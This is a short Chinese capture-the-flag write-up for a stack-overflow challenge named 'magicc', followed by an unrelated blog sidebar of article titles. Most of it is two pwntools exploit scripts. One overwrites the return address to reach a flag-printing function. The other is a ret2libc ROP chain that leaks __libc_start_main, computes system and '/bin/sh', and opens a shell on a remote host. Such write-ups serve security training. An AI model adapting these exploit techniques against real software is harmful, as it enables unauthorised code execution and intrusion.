魔法这是比较基础的一道栈溢出;

首先看下开启的防护机制

Checksec magicc发现只有nx防护

我们载入ida发现溢出点

Buf实际溢出空间为0x16,构造exp

import time

from pwn import *

p=process('./magicc')

p.recvuntil('Choose!')

p.sendline('4')

p.recvuntil('success')

payload1='A'*22

#system=

#asd=0x804876e

#ret=0x8048770

cat=0x80485AD

#hgd=0x80485a7

#exit_addr=0x8048450

#nxaddr=p32(0x80485A7)

payload=payload1+p32(cat)

p.sendline(payload)

p.interactive()

另外是采用rop

from pwn import *

context.log_level = "debug"

context.arch = "i386"

elf = ELF("magicc")

sh = 0

lib = 0

def pwn(ip,port,debug):

global sh

global lib

if(debug == 1):

sh = process("./magicc")

else:

sh = remote(ip,port)

lib = ELF("libc6-i386_2.23-0ubuntu10_amd64.so")

catFlag = 0x08048847

offset = 22

sh.recv()

sh.sendline("4")

sh.recvuntil("You are one step short of success\n")

payload = offset * "a" + p32(elf.plt['puts']) + p32(0x08048490) + p32(elf.got['__libc_start_main'])

sh.sendline(payload)

__libc_start_main = u32(sh.recv(4))

log.success("__libc_start_main: " + hex(__libc_start_main))

libc = __libc_start_main - lib.symbols['__libc_start_main']

system = libc + lib.symbols['system']

binsh = libc + lib.search("/bin/sh\x00").next()

sh.sendline("4")

sh.recv()

sh.sendline(offset * "a" + p32(elf.plt['system']) + p32(0x08048490) + p32(binsh))

sh.interactive()

if __name__ == "__main__":

pwn("101.71.29.5",10001,0)

最新文章

  1. PHP AES的加密解密
  2. codeforces 732D(二分)
  3. Java 利用HttpURLConnection发送http请求
  4. C++模板元编程 - 挖新坑的时候探索到了模板元编程的新玩法
  5. 【RSYSLOG】rsyslog作为日志采集器安装配置说明
  6. PostGreSQL最简安装
  7. Lepus经历收获杂谈(一)——confirm features的小工具
  8. 移动web屏幕适配方案
  9. Linux下jvm、tomcat、mysql、log4j优化配置笔记[转]
  10. 基于开源 Openfire 聊天服务器 - 开发Openfire聊天记录插件[转]
  11. php中JPGraph入门配置与应用
  12. (总结)Linux的chattr与lsattr命令详解
  13. 欲练JS,必先攻CSS——前端修行之路(码易直播)
  14. 从浅入深剖析angular表单验证
  15. java环境安装说明
  16. HDU 6069 Counting Divisors
  17. Java构造器与构建器的使用
  18. linux RPM manager
  19. 01——Introduction to Android介绍
  20. 转: HTML5之placeholder属性以及如何更改placeholder属性中文字颜色

热门文章

  1. node 部署教程二
  2. python的super深入了解(转)
  3. matlab学习笔记6--性能剖析
  4. oracle 中decode的用法
  5. 【交互】抖音VS快手
  6. [LeetCode] 146. LRU Cache 近期最少使用缓存
  7. pcl使用入门
  8. js时间的一些处理
  9. 【视频开发】非常优秀的CxImage各种格式图像开源工具
  10. acme自动证书申请